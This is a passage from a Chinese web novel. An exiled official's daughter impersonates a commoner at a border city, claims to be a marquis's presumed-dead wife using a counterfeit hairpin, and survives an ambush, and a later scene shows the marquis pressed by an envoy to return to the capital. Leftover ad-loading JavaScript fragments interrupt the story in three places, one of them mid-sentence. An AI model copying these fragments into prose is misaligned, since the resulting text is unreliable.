赵念曦默默垂眸,眼角余光轻扫一眼洞开的城门,心中惴惴不安。 真正的“莲娘”早已死了。 她不得已顶替“李莲娘”的身份才苟活至今,一旦露出破绽,不论被认定为奸细还是扒出罪臣之女的身份,她都难逃一死。 兄长还在岭南受苦,父亲的遗骸也未还乡,她还不能死。 至少现在不能。 赵念曦攥着包袱,忽然转身,“我落了东西,你先走。” 云舒看着仅剩一步之遥的城门,大为不解:“这都排到咱们了,进了城什么好东西买不到……” 赵念曦没有应声,才走了两步,忽听一声呼喝: “站住!” 怪异的举止让人起了疑心,两名军士握着长矛将赵念曦拦住,随即喝问道: “你是什么人?” “军爷。” 云舒赶忙笑道:“我们是黔州人,我们俩是一起的。” 说着道出家门。 “黔州人?” 领头的军官翻着名册,找到“云舒”二字,点头。到了“李莲娘”这儿,皱眉。 他打量一眼赵念曦纤细的身段,细致的眉眼,面露异色。 “正好,我也是黔州人。”说着,用黔州话道,“你是黔州哪里的?” 赵念曦不禁凝眉。 她从未去过黔州,虽与云舒兄妹二人相处了些时日,到底只学了几句蹩脚的黔州话,此刻说来无疑是自露马脚。 况且,她已瞥见了“李莲娘”那一页末尾画着的红叉,如此更难糊弄了。 眼见赵念曦没有回话,那军官皱起眉头,又问: “生辰几何?” “爹娘名讳总该知道吧?” 云舒见势不妙,忙上前解释道:“莲娘她从小被卖给大户人家做丫鬟,后来又逢战乱流落关外,幼时的事早已忘了,请军爷高抬贵手,让我们过去罢!” “哦?是吗?” 那军官冷冷一笑,而后朝一旁的士兵抬了抬下颌,示意人搜身。 赵念曦生得好看,性子又温婉可人,云舒怀疑那军官心怀不轨,忙将人护在身后。 “早不搜晚不搜,偏到了我们你就要搜身。不就是想趁机占便宜!” 那军官闻之大怒,当即拔出佩剑喝道:“侯爷有令,胆敢闹事者,统统抓起来严审!” 霎时,四五名擐甲持戈的士兵涌上前来。 云舒一急,撸起衣袖上前斥道,“你们别欺人太甚!告诉你,我兄长是云潇珩,打贼寇时还立了功的,你敢胡来试试?!” “云舒!” 赵念曦不想将更多人牵扯进来,忙出言打断她,“你的好意我心领了,但咱们不过一面之缘,你实在不必为我出头。” “一面之缘?” 云舒像是叫人当头一棒,凝着眉惊诧不已。才要开口,赵念曦朝她轻轻摇了摇头。 事已至此,避无可避。 赵念曦斟酌一番,似下定决心般缓缓递出手上的包袱。 “你们要搜,就搜吧。” 那军官冷冷一笑,手中利剑挑开布包,只见散落的衣物中,一支赤金凤钗露了出来。 围观之人霎时惊呼出声:“莲娘,想不到你还有这宝贝。” 那军官细瞧一眼手中发钗,做工精细绝非民间俗物可比,抬眉觑向赵念曦,他冷声道:“这东西,从何而来?” 赵念曦面色淡淡,“是我的一件旧物。” “哦?” 那军官显然不信这般说辞,勾了勾唇,他嗤笑道: “当年德安长公主和亲,金银财物可是装了几十条船。你身为公主侍婢,想来私藏了不少吧!” 公主侍婢? 有人反应过来,冷笑着开口质问:“长公主为屠贼寇,身负重伤,你身为侍女不以身相护,还有脸藏私?” 赵念曦闻言,面色一沉。 那军官接着又道:“按我朝律法,凡盗窃公私财物者,得财一百贯杖一百,流一千里。” 他握着发钗掂了掂,继而冷笑,“这支发钗,恐怕不止 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一百贯!” 赵念曦默默瞥一眼他握了发钗的手,清冷的声音淡淡道:“我已说过,这支发钗是我的一件旧物,与长公主并无干系。” “是或不是,到了衙门,自有人论断。”那军官随手收了发钗,转头吩咐下属,“带走严查!” 众人惊呼一声,纷纷指指点点, “连长公主的东西也敢偷,当真是罪有应得。” “这么美的人儿,可惜了!” “……” 赵念曦轻轻垂眸,心知到了衙门,再想脱身恐怕更难了。 咬了咬唇,冷沉的眸光瞥一眼持戈围过来的军士,忽抬步往前,清冷的声音徐徐道: “这支发钗,是你们侯爷所赠。” “侯爷?” 几名军士闻言,纷纷怔在原地,踌躇不前。 “李莲娘,你莫不是想要荣华富贵想疯了?!” “虽然你有几分姿色,但侯爷身居高位,阅人无数……” “区区一个婢女,侯爷如何瞧得上你?还送你这样贵重的发钗?!” “……” 待众人反应过来,却仿佛听了一个天大的笑话般,嬉笑不止。 那军官见状,急招了招手道:“还愣着做甚?带走带走!” “怎么回事?!” 随着一声呼喝,一浓眉大眼,满颌髯须的中年将领手扶宝剑匆匆赶来。 “李将军!” 士兵们忙躬身行礼。 李振扫视一眼众人,而后喝问道:“何人闹事?” 领头的军官立即呈上名册以及发钗,将来龙去脉一一回禀,又道:“此妇人身份可疑,又携来历不明之物,正欲交由将军裁夺。” 李振抬手接过名册,眉头一皱。再瞧一眼手上的赤金凤钗,当即喝道: “现给你一次机会,老实交代,你究竟是何人?这发钗又是从哪里得来的?” 对着那人威严的面容,赵念曦反倒镇定下来。 此人跟随夜君慎多年,她曾不止一次撞见他出入侯府,回禀事务。 微微抬手,指了指凤钗上一处暗纹,赵念曦淡声道:“李将军连这个都不认得了?” 李振抚着发钗上的暗纹,眉头深深皱了起来。 他并非未认出淮阴侯府徽记,只是,这样贵重的东西却出现在一身份不明的妇人身上,属实可疑! 垂首打量一眼女子从容的神情,他目光犀利,冷厉的声音逼问道: “你究竟是何人?” 天色灰暗,四野苍茫。 士兵们披坚执锐,将赵念曦围在中央,威严肃杀之气压得人喘息艰难。 仰头望一眼空中翻滚的流云,仿佛回到了自尸骨堆里醒来那一日…… 秃鹫在头顶盘旋,凄厉的叫声响彻云霄。 她苟延残喘至今,不过是为含冤的父亲,受难的兄长,还有……深埋心底的那份牵挂。 此刻,什么尊严脸面,都不重要了。 再睁开眼时,她神情坚毅,清冷的声音缓缓道: “你们猜的没错。” “我不是李莲娘。” 闻言,军士立即持刀向前,恶声追问:“那你是谁?” 寒凉的利刃贴在脖颈上,赵念曦微抬起下颌,不由放缓了呼吸。 她曾亲眼见过他们杀人的模样。对待敌军,他们勇武异常;对待叛徒,他们绝不会手下留情。 赵念曦缓缓抬眸,冷沉的目光觑向面前之人, “我是……” “你们侯爷夫人。” 5. 第 05 章 赵氏 闻言,一众军士面面相觑,而后大声哄笑起来。 定远侯娶过几任夫人,但是…… 头一个病死了,第二个娶亲途中失事,第三个还未过门就暴毙而亡。 简直一个比一个短命! 自那以后,定远侯克妻的名声不胫而走,京中贵女无人敢嫁。 “李莲娘,你竟胆敢冒犯侯爷……” 军士大声斥责,却叫人拦住。回头瞧一眼李振,随即面露茫然之态,“李将军……” 李振原也心存疑虑,待细看手中发钗时,恍惚忆起侯爷案头有过这么一件旧物,当时惊讶于历来冷酷狠决的将军竟也会在钗裙之物上留心,便忍不住多瞧了一眼。可惜禀事时隔得太远,瞧得并不真切。 沉吟片刻后,他挥手让军士收了刀剑,而后皱眉瞧向面前之人, “敢问……如何称呼?” 赵念曦早已听说夜君慎娶过好几任夫人,不免觉得讽刺。 “我姓赵。” “赵氏……” 李振喃喃着,眉心一拧。 一旁的军士们闻言,也跟着窃窃私语,“那位夫人……不是……早就病逝了么!” 说着,状似不经意般朝赵念曦投来好奇打量的目光。 李振握着凤钗,心中犹疑不定。 极力回想一番当年之事,他道:“七年前,侯爷身先士卒,不慎中了敌军毒箭,听闻夫人日夜侍疾不幸病……病重,侯爷得知消息时哀痛异常。 这么多年过去,为何从未听闻夫人半点儿消息?” “况且……”他眉目一沉,继而追问道,“榆州与京城相隔三千余里,夫人如何会出现在这里?” 赵念曦听闻“哀痛异常”几字时,不免冷笑。 距她“病逝”不足半年夜君慎便急着另娶妻室,这叫“哀痛异常”? 做戏么……谁不会! 凄然一笑,她缓缓开口,“当年,夫人令我去庄子上养病。可惜后来遭遇战乱,与侍女失散之后流落关外,受尽风霜。” 赵念曦泪盈于睫,随即欣慰笑道:“幸而侯爷勇武,与众将士驱除敌寇一举收复山河,我才有机会再见侯爷。” 七年前,李振还只是夜君慎身边一员小将,出入侯府禀事时偶尔遇见过那位“少夫人”。不过,远远见了也只敢绕道而走,是以并未见过其容貌。 眼下,观这妇人言行举止并不似寻常女子,且谁会愚蠢到假冒一个死人?! 当即喝退无关之人,而后拱手恭敬道:“属下眼拙,未曾认出夫人,冒犯了。” 赵念曦不料这般轻易便糊弄过去,怔怔点了点头,“无妨。” 李振自我介绍一番,又道:“属下跟随侯爷出生入死已近十年,夫人若信得过,可否让属下带着这支发钗先行回禀侯爷?” 赵念曦自是不肯信他的,谁知他不会中途变卦?! 当即道:“多年离散,我想尽快见到侯爷,李将军能否现在就带我前去!” 李振摇了摇头,面带歉意。 “夫人的心情属下明白,只是侯爷近日忙着巡视城池,并不在榆州。您或可修书一封,属下代为传达。” 修书么…… 赵念曦默默叹息一声,眸光渐渐暗淡下来。 七年未见,时移世异,未免陷入被动境地,在不知夜君慎是何态度前,她不打算透露过多信息。 “罢了,多年不曾握笔,字迹丑陋不堪,实不敢污了侯爷的眼。” 又喃喃道,“是我心急了。” 李振点一点头,并不介意。他道:“侯爷军务繁忙,夫人恐怕还需多等几日。这样,属下先命人替您安置住处,待侯爷忙完军务再迎夫人与侯爷团聚,如何?” 赵念曦垂首瞥一眼李振手中的发钗,沉吟片刻后颔首答应下来。 她若想面见夜君慎,确需人传信。而李振乃一军主将,应不至于为了支发钗行诓骗之事。 况且,若他真有异心,她也有后招。 李振已差人前去安置住所等事,临行前又抬手唤来一人,道:“这位是程伯,夫人若有吩咐,只管让他去办。” 程伯乃车骑校尉,众人听闻李振如此吩咐惊诧不已。 此举无疑是默认了赵念曦“定远侯夫人”的身份,方才有所冒犯之人不由低垂了头,冷汗涔涔。 赵念曦想到被带走的云舒,抬手指一指那名黔州军官,凝眉问道:“他是什么人?” 程伯往底下撇了一眼,回道:“那是罗校尉,今日负责戍卫城门。” 联想到罗万顺方才还叫嚣着要将这位“侯夫人”送官受审,不由轻笑,“底下人见识浅薄,夫人若要责罚,只管吩咐。” 赵念曦看向下首,方才还气焰张扬的人,此刻垂首立在一旁,小心翼翼回道:“职务在身,方才多有冒犯,还望夫人海涵。” 边境战乱之地,城门戍卫确该严苛,赵念曦并无理由责罚他。 况且,程伯的话不过是客套罢了,若当了真便是逾矩,实在愚蠢至极。 淡淡点了点头,她道:“不知者不罪。” “另外……还请放了方才那位姑娘,我与她只是结伴入城,以盼途中有个照应,并无什么干系。” 罗万顺立即抱拳应是,又道:“那位云姑娘既是云将军的妹妹,属下这就派人送她入城,与兄长团聚。” 赵念曦闻言,不由松一口气。 战乱结束,往后他兄妹二人总算能够安稳度日了。 天色早已暗了下来,士兵们举着火把分列两旁,饱经风霜的面庞隐在深色盔甲下,忽明忽暗。 随着众人穿过厚重的城门,忽闻一声熟悉的呼唤, “莲娘!” 赵念曦回身,果然见是云舒追了过来。 “莲娘,他们说的都是真的吗?” “你真的是定远侯夫人?” “那你为什么不早一点将那支发钗拿出来?” “早一点说,便不用吃这么多苦了!你为何不早说呢?!” 一叠声追问,赵念曦恍若未闻。 她说了谎! 逃难时艰苦异常,那支凤钗早已被她变卖了。包袱里装的那支,是假的。 旁人可能无法分辨,但是夜君慎……只需找来当初打造发钗的工匠一瞧便知真假。 好在,往来行程少说也得大半月。 足够了。 赵念曦拉过云舒,低声叮嘱她:“这些年,多亏你们兄妹二人照拂,往后若有人问起来,你只管说不认识我。其他的,勿要多言,自己保重。” “为什么?” 云舒不解,倒是一旁路过的男子讥屑道:“傻丫头,这你还看不出来吗?人家呀,有了高枝,哪里还肯认你这患难过的兄弟!” 说罢,又转头朝向赵念曦, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “李莲娘,看你平日老实巴交的,没想到,城府这么深!” “闭上你的臭嘴罢!”云舒并不肯信朝夕相处的姐妹是这般无情无义之人,瞪着眼大声呵斥男子,“姑娘家说话,你一个男人插什么嘴!” “实在闲得慌,就套上犁去犁二亩地!” “臭娘们儿!你再说一句!!”男子怒不可遏,举起拳头便揍过来。 “谁敢放肆!” 一声马儿嘶鸣声响起,程伯勒马跃下车驾,执刀喝退男子。 “无故滋事,杖二十!” 男子很快叫人押了下去。赵念曦回想起那双阴鸷的眼瞳,心中一阵胆寒。 他知晓她太多过往,若为报复抖出什么来,必定会坏事。 “等等……” 赵念曦看向程伯,极力保持镇定。她道,“我们并无损伤,给他一次机会罢。” 程伯负手立在一旁,并未答应。 “夫人心善,只是此人实在无礼,继续放浪下去迟早会遭殃,不如趁此给他个教训,也好让他收敛收敛。” 赵念曦无力反驳,转念一想只要将人打发得远远的,也不怕他什么。她转了语气道:“并非我为他求情,只是此人目不识丁又无一技之长,纵使杖责一顿也无济于事。不如给他安排个差事,也好消磨时光。” 程伯瞬间明白这话的含义,不由笑着点头,“请夫人放心,必不会让他太清闲!” 说罢,转头吩咐人道:“他既有一身蛮力,不如送去修缮城墙,为国效力。” 不远处传来男子叫嚣的声音:“李莲娘,我就知道你不敢拿我怎样!” 伴着一声闷哼,狷狂的大笑戛然而止。男子骂骂咧咧,随即叫人捂了嘴带走。 “莲娘,作何这样轻易放过他。” 云舒气得不行,恨不得追上去狠狠“啐”上一口。 赵念曦拦住了她,劝道:“今日,你兄长也不在跟前,你就莫要逞能了罢!万一遭人报复,你兄长见了岂不要心疼。” 云舒这才作罢。 似想起什么,又追问道:“莲娘,你真的是定远侯夫人?那我兄长岂不是没戏了?” 她满目失落,很快,神态一转又嬉笑起来,“不过,你以后有侯爷做靠山,再也没有人敢欺负你了! 我现在感觉像在做梦一样,你快告诉我是不是真的!” 赵念曦也觉得今日之事恍如梦境。她曾努力了无数次都没有机会靠近的城门终于在今日敞开,往后,只要救回兄长便无憾了。 她压低声音道:“你就当过去的事都是梦罢,往后不要同任何人提起我。” “为什么?” 云舒不解,今日的赵念曦和以往任何时候都不一样。 眼见程伯折返回来,赵念曦未再解释。 登上马车前,她再次叮嘱云舒:“你若想好好活下去,便照我说的做。 我该走了。” 车轮轧轧,身后孤影越来越小。赵念曦紧凝着眉,未料到事情竟会这般顺遂。 不过……东西虽递出去了,至于夜君慎会不会来见她,赵念曦没有把握。 她想,如果夜君慎早已忘了发钗之事,抑或不愿受赵家牵连对此置之不理甚至矢口否认,那她筹划这么多岂不是……白费心机。 想到另一事,忽然又镇定下来。 至少,她还有筹码。 …… 6. 第 06 章 遇袭 * 道旁街市林立,行人如织,与关外人烟稀薄,物资匮乏的景象迥然不同。 一声声呼啸冲破云霄,绚丽的烟火在漆黑的夜空中次第绽放。百姓无不欢呼雀跃,嬉笑之声一浪高过一浪。 进榆州前便听人说“定远侯大败西锦敌寇,百姓大喜,城中烟火三日”,果然所言不虚。 “炊饼!” “甜糕!卖甜糕嘞!” “……” 此起彼伏的吆喝声中,一股甜腻的香风钻进肺腑。赵念曦觑向路边糕点摊上颜色各异的点心,忽觉饥肠辘辘。 随行的孙嬷嬷递了食盒进来,又奉上一盏清茶。她笑道:“夫人想必饿了,先用些点心罢。” 赵念曦回过神。 前后折腾了大半日,她几乎水米未进,着实饿了。接过食盒,只见里面装满了凤梨酥,雪花糕,软香糕,蜜枣糕等物,都是她从前最爱吃的。 捧着一块糕点端详片刻,忽觉鼻翼酸涩。 记得幼时,母亲在灯下做针线,她便窝在厚厚的被子里,听母亲讲那些光怪陆离的小故事。直到父亲下了朝带着糕点回来,她才拥着锦被一骨碌坐起,非得一口气吃光所有点心才肯乖乖睡觉。 那时候,觉得世间美味不过如此。 浅尝一口,似乎还是记忆中的味道,赵念曦却将手中糕点轻轻放下。 七年颠沛流离,她早已吃惯了冷硬的馕饼,再不习惯这般甜得腻人的滋味。 孙嬷嬷瞧一眼赵念曦嫌弃的神色,奇道:“这可是圣上御赐的糕点,侯爷统统赏给了部下,将军全让人送来了。 怎么……不合夫人口味?” 赵念曦轻轻摇了摇头,“手艺挺好,只是我现下没有胃口。” 孙嬷嬷不禁“啧”了一声,“将军还怕夫人吃不惯这边的饭食,特意着人去寻南边儿来的厨子。等到了地儿,估摸着晚膳也好了,夫人正好能吃上热乎的。” “嗯。” 赵念曦轻轻颔首。 此行由程伯率二十名铁骑护卫,不光随行侍从,甚至连她的饮食习惯也考虑周全,可见李振确实费了心思。 但是她……却利用了他。 赵念曦微感歉疚。转念一想,兄长流放岭南数年,前路坎坷,若要救他出来,别无选择。 想到一事,她淡声开口,“你说,这糕点……是定远侯赏给部下的?” 难怪看着眼熟。 “可不是嘛!” 说到“定远侯”,孙嬷嬷双目发亮,笑赞侯爷如何勇武驱退外敌,让百姓得以安居乐业,末了又叹,“可惜几位夫人福薄,竟一个比一个去的早……” 果然么! 赵念曦冷嗤一声。 这李振看似恭敬,私下里却未向底下人透露她这“定远侯夫人”的身份。 可见此人谨慎。 也是! 能爬上“将军”之位的人,必不是有勇无谋的莽夫。 既没有大肆宣扬…… 到了夜君慎跟前,他更不会胡乱断言她就是定远侯早已“病亡”的发妻。便是日后出了差错,也可轻松将自己摘出来,全身而退。 赵念曦不禁暗骂一声“老狐狸”,方才那点子愧疚荡然无存。 狭小的车厢里,糕点甜腻的香直熏得人脑子发胀,赵念曦索性打开轿帘透气。 只见绚丽的花灯下,一白发者者正抱着孙儿嬉戏。稚童一手举着糖葫芦,一手拎着鱼灯,喜笑颜开。 行人三三两两携手走过,赵念曦望着他们欢喜的模样,心情复杂。 如果父亲还在,大约也可享这般天伦之乐吧…… “吁——” 忽闻一声马儿嘶鸣,车驾骤然一转。赵念曦陡然回神,险些磕在车壁上。 一阵兵荒马乱后,左摇右晃的马车总算停了下来。 “夫人可有受伤?” 程伯勒马立在车架旁,隔着轿帘紧张问询,得知一切安好后,似松了一口气。 他解释道:“一只鱼灯惊扰了马匹,让夫人受惊了。” “稳妥起见,待车夫查验车驾无损后方可继续前行,请夫人稍候片刻。” 赵念曦听闻“鱼灯”二字,不觉眉心一凝。 缓缓步下车驾,果然见一幼童眼巴巴望着早已破损的鱼灯颤声哭泣。白发老者跪在一旁,低声安抚。 见赵念曦行至跟前,老者眼神一亮,随即叩首请罪。“小儿顽劣,无意惊扰了贵人,请贵人恕罪!” 那孩童不过两三岁的模样,年幼不知事,再寻常不过。 赵念曦扫视一眼众人,而后看向陈伯,“既无人受伤,也不必追究了。” 程伯亦体恤老幼,随手扶起老者安抚。 稚童躲在老者身后,忽然探出半颗圆溜的脑袋委屈哭诉:“我的鱼灯……你们赔我鱼灯……” “阿福,不可无礼!” 老者按住孙儿教他行礼,那孩子却倔强着不肯低头。 “小子,还挺有骨气!” 程伯哈哈一笑,伸手捏了捏那张脏兮兮的小脸,连声应“好”。 随即吩咐下属,“另取一只鱼灯赔给这位小兄弟。” 听闻这番话,幼童渐渐止住哭声。 赵念曦瞥一眼那副幼小的身影,莫名的苦涩滋味在心底蔓延。 “啊!救命!” 不远处传来一声惊呼,赵念曦循声望去,只见一排排花灯轰然倒塌,过往行人匆匆避让,却仍不免受伤。 “来人!” “快来人!” 呼救声接连不断,程伯眉头一皱,暗道不好。 马匹受惊,前路又遇阻,多年征战的警觉让他不得不怀疑鱼灯之事并非意外,而是人为。 当即放出求援信号,而后派出三名下属前去救人。 “其余人等,原地待命。” 十余名护卫立即列队,严阵以待。 赵念曦亦察觉危险。 闹市之中人满为患,此刻又遭遇火情,避难不及轻则受伤,重则殒命。 沿街百姓惊慌逃窜,拥堵更甚,马车早已无法通行。铁骑虽可突出重围,但难免伤及无辜。 就在此时,一支支羽箭飞射而来,“嗖嗖”的嗡鸣声不绝于耳。 程伯勒马上前,挥舞着长枪挡下一支支利箭。他没有回头,稳沉的声音高喊道:“刀剑无眼,请夫人先入车厢避让。” 此行的目的只有一个,便是护送“定远侯夫人”前往驿站。赵念曦霎时惊觉,暗处那些人很有可能是冲着她这“定远侯夫人”来的。 想想只觉可笑! 这重身份未给她带来任何尊荣,却一次又一次地招来祸患。 眨眼的功夫,箭矢如同雨点般密密麻麻袭来,又“嗖嗖嗖”地钉在车壁上,发出一阵阵嗡鸣。 赵念曦退至马车角落,心中一阵胆寒。但凡此前程伯大意些,她恐怕已被射成了筛子。 刀光剑影中,忽闻幼童的惊呼声。 “祖父……” “祖父,你怎么了……” 夜风拂开轿帘,只见那抹幼小的身影正伏在中箭倒地的老者胸前,失声痛哭。 “别丢下我……祖父!” 一声声哀嚎搅得人心乱如麻,赵念曦紧攥着衣袖,面色惨白。 记忆中那抹小小的身影也曾这样哀求过…… “阿娘,别丢下我。” “我能走的。” “我不会拖累你……” 只是那时,他没有哭。眼泪含在灵澈的眼瞳里,始终倔强着不肯落下来。 恍惚中,老者身边的孩童竟摇摇晃晃地站了起来,而后朝那群黑衣人走去…… 危险! 赵念曦惊觉不妥,几乎顺手抽出发髻上的银簪。 关外危险重重,为了自保,她往银簪上淬了毒,利器刺破肌肤的瞬间便会让人手脚麻软,失去战力。 但…… 有程伯等人在,必能查出不妥,届时,该如何收场? 犹豫之际,那幼童竟举起稚嫩的拳头对着黑衣人叫嚣起来, “你们这群坏蛋……” 黑衣人转过身,锃亮的弯刀举过头顶,目露凶光。 赵念曦来不及思索,疾步拦在幼童身前,下一瞬便见那黑衣人身形一晃,倒地不起。 她没有回头,眼角余光瞥一眼身后孩童,沉沉开口:“这里危险,去马车上等着。” “不!”幼童哇哇哭叫,“我要看着祖父,不让人欺负他……” 这孩子,一点儿也不机灵。 赵念曦面色冷凝,单手拎起幼童便扔进了车厢。 几名黑衣人交换一个眼神后,争相围了过来。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 素白的银簪在掌心转了个圈,赵念曦面色淡然。她并非第一次遇见这般情形,只是从前只她一人应对,而这一次,不光有程伯率领的护卫队,还有他身后的整个齐国军队。 有何惧?! “何人闹事?!” 马蹄哒哒,衣甲霍霍,鲜红的旌旗高扬着,随上百铁骑疾驰而来。 有人激动大喊:“是援军来了!” 黑衣人见势不好,意欲撤离,最终在卫队前后夹击下溃败被俘。 半个时辰后,灯铺前的大火已被扑灭,伤者也已转移救治。 赵念曦默默放下轿帘,回身看向对面幼童。 “你叫……阿福?” “嗯。” 幼童吃完手上的点心,还欲再拿。赵念曦毫不犹豫扣上食盒,“仔细吃多了肚子疼!” 幼童眼神闪烁,抿了抿唇低声道:“这个甜糕真好吃,比我们刚才买的要好吃多了。我想拿一块给祖父也尝尝……可以吗?” 赵念曦无言以对。 那老伯身中数箭,已不治而亡。 “夫人。” 孙嬷嬷立在车驾旁回禀:“程大人吩咐换了新的马车,一切已安置妥当。” 夜深了,残月隐在云层后,忽明忽暗。历经一场动乱,四处哀鸣阵阵。 赵念曦缓缓蹲下身,双手轻轻握住幼童稚嫩的肩,她轻声道:“下次若有机会碰面,再还你花灯吧。” “我不要花灯了。”幼童摸了摸圆圆的肚皮,腼腆一笑,“谢谢你的甜糕。” 赵念曦松了手,看那幼童笑着跑远。 “我去找祖父了,下次,我也给你带好吃的。” 孙嬷嬷按赵念曦的吩咐,已将那盒糕点交给了负责看护幼童的军士。望着那抹小小的身影,她哀哀一叹,“可怜咯,这么小的孩子,一个亲人也没有了。” 战乱之地,每年会有大量孩童成为孤儿。 赵念曦曾打听过,那些无人领养的孩子最终会被送去一个地方——育婴堂。 虽说有官府出资抚养,到底不似亲生爹娘,能混个温饱已是幸事,如何敢奢求其他呢。 * 子夜时分,马车在一座名为“蘅芜苑”的宅院前停了下来。 程伯上前恭敬道:“衙署那边儿进出的皆是些大老粗,属实多有不便。李将军再三交代,务必替您寻一处妥当宅院。可惜,边关到底不比京城,这里屋舍简陋,还望夫人不要嫌弃。 李将军也说了,待侯爷归来再替夫人另行安置住处。” 言外之意,自然是待夜君慎表明态度后再行安排。 “知道了。” 赵念曦微微颔首,想到那群黑衣人,不禁问道:“那些刺客,是什么人?” 程伯只道是西锦余孽所为。 赵念曦闻言不禁凝眉。那些人的衣着装扮,武器等均不似西锦所有,不过他不愿说赵念曦也未在多问。 穿过长廊到了偏厅,只见上首挂了几幅字画,下设香案,供了宝剑等物,而后是几样旧式桌椅,再简单朴素不过的布置,却也比她在关外朝不保夕的境地要强许多。 不过一盏茶的功夫,饭菜陆续送了进来。 孙嬷嬷拿帕子掸一掸椅面,引着赵念曦坐下。目光轻扫一眼桌上菜肴,有笋煨火腿,蜜汁鸭脯,芙蓉豆腐,蛋羹以及两样小菜。 在榆州,素菜比之牛羊肉更为难得。她惊叹道:“果然丰盛的很呐。” 赵念曦却无什么胃口。 将经历一场混战,刀光血影的景象似乎仍在眼前,前一刻舐犊情深的祖孙俩,下一瞬却已天人永隔。 自此,小小的孩童独活于世,其中艰辛与坎坷又能同谁言说。 这一刻,想要救出兄长的欲望前所未有的强烈。 赵念曦默默拿起碗筷,忍着不适硬吃下一整碗饭菜。 事未成,她还不能倒下! 夜半骤然惊醒,望着窗隙里漏进来的些许月光,不禁思绪万千。 今日之事太过顺遂,赵念曦总觉隐隐不安。 仅凭一支发钗,实在没有多大胜算。 一会儿担心身份暴露,还没见到夜君慎便被人杀害;一会儿又担心连累兄长,害他丧命…… 如此不安了两日,下人忽然来报: “夫人! 李将军传您前去问话!” 7. 第 07 章 信物 * 暮色四合,最后一抹霞光渐趋暗淡。 李振策马穿过荒僻的山谷,在守卫森严的营帐前勒缰下马。 “李将军。” 守卫迎上前,低声道:“侯爷正与卫大人议事。” 李振瞥一眼紧闭的帘帐,目光幽深。 七年前齐国战败,主少国弱且无良将可用,不得已行和亲之策。不料途中生变,长公主刺伤了西锦王子,九死一生潜逃回宫。 西锦君王闻之大怒,亲率十万大军直逼京师。朝中文武官员纷纷提议南迁,民怨沸腾。 危急关头,大病初愈的夜君慎站了出来,力排众议请命再次领兵抗敌。国库空虚,他说服商贾出资筹集军费;粮草不齐,百姓自发捐赠粮草衣物送往边关。 前后耗时六年终歼灭敌军主力,收复疆土。 而今圣上羽翼渐丰,为收回兵权已多番派遣官员催促侯爷回京。 常言道,鸟尽弓藏。 一旦权柄离手,将至万劫不复之境。 营帐内灯火通明,气氛凝滞。 一身着青色官服的中年男子肃立在下首,拱手恭敬道:“下官到了榆州方知边地苦寒,侯爷苦守多年,属实不易。圣上与太后甚为挂念,特命下官恭迎侯爷回京。” 有不知名的蝇虫绕着零星的火光起舞,随着“呲啦”一声一头栽倒入浑浊的灯油中。 良久后,端坐在上首的清隽男子终于自案牍前抬起头,面色淡淡。他虽亲手斩了那西锦君王,但其次子却率部逃脱。 “战事初定,奸人未除余孽尚在,若不乘胜追击,后患无穷。” 卫忠呵呵一笑,道:“剩余诸事,有陈将军足矣。侯爷可安心回京休养。 “再者,侯爷已近而立之年却还无有子嗣,老侯爷及夫人均盼着侯爷能早日诞下麟儿,好享含饴弄孙之乐呀。” 这是——拿他阖府性命要挟?! 夜君慎缓缓抬眸,冷沉的目光凝在底下那具臃肿的身躯之上。 战局初定,圣上便迫不及待催促他回京,无非是急着往军中安插人手。 静默半晌,不禁冷嗤一声,“卫大人做这说客,得了什么好处!” 卫忠闻言拱手一笑,道:“侯爷说笑了!下官领朝廷俸禄,便该尽忠职守,为圣上效力。况且,侯爷劳苦功高,我等望尘莫及,能与侯爷共事已是莫大的荣耀,哪里还敢讨要好处!” 这话说得情真意切,夜君慎听了不禁轻笑出声。 当年他重伤之际,所有人都以为他活不了了,纷纷另投他处。金銮殿上,他再次请旨抗敌,百官哗然,除了讥讽便是指责。这会子嘴上抹了蜜一般来套近乎,简直可笑。 不过,他也并非握着军权不愿放手,顿了顿还是颔首答应下来。 “卫大人所提之事,本侯早有此意,只是还有几桩要务处理,事毕之后自会与卫大人一道回京。” 这话在卫忠听来,不过是借机拖延的借口。他作势长舒一口气,笑赞道:“侯爷果然英明。” “正好下官还未曾见识过榆州风貌,此行可顺道领略一番本地风土人情。” 紧接着又问:“不知侯爷还需几日方能动身?下官也好早作准备。” 如此步步相逼,夜君慎岂能不知。他也懒得计较,扔下一句“三日后回京”便要撵人出帐。 得了明确答复,卫忠屁颠屁颠上前,恭维客套的话一句接一句,娓娓不倦。 夜君慎紧凝着眉,瞧一眼帘帐淡声道:“本侯尚有伤在身,便不送卫大人了。” “不敢劳烦侯爷,您歇着就是。”卫忠嬉笑着,掀帘而去。 夜君慎冷眼瞧着人离开,面上波澜不惊。 自他请命出征之日起便知会有今日,他无愧,亦无悔。 只是仍不免寒心。 混战时,他被身边人所伤,究竟是敌军还是……自己人?! 想到某种可能,他眸光一转,只觉后脊发凉,漆黑如墨的眼瞳里似有暗潮汹涌。 “侯爷!” 帐外忽传来将士们激烈的争执之声,夜君慎微微合眸敛起眼底情绪。 “进来。” 染血的裹帘被扔入铜盆,溅起一地水花。 随手将腰间血肉模糊的伤口包扎起来,而后揽起外袍。他悠悠转身,又是那般渊渟岳峙、清冷自持的贵胄模样,丝毫不见负伤在身的狼狈与颓靡之色。 一锦袍公子掀帘入帐,手持铁扇讥诮一笑, “区区一个六品小官,竟敢对侯爷言语相逼,实在可恶。” 李振紧跟进来,神色愤愤。 “便是条狗得了主子吩咐也敢狂吠几声,何况那卫大人还是太后娘家兄弟,堂堂‘国舅爷’,有何不敢的!” “呸!他也配!” “……” 几人慷慨激昂,愤气填膺,夜君慎嫌人聒噪,丢下一句“三日后回京”便令帐中诸人下去准备。 “这岂不是便宜了陈搴那厮。” 西锦君王已死,余下几个部落还不好对付?!这可是刷军功的好机会。 锦袍公子大为不满,愤愤收了折扇便将卫忠狠狠问候一番。 众人亦不解,看向夜君慎再次确认,“侯爷,当真三日后回京?” “不然呢?” 拥兵自立?! 夜君慎暗自摇头,国家安定,能功成身退足矣。 灯油将尽,帐内光影渐趋暗淡,侍从没有吩咐不敢入内叨扰。 一阵冗长的沉默后,那锦袍公子忽然起身,大笑一声道:“唉呀,三年未曾归家,是该回去了。” 众人不忿亦无法,只得领命而去。 (function () 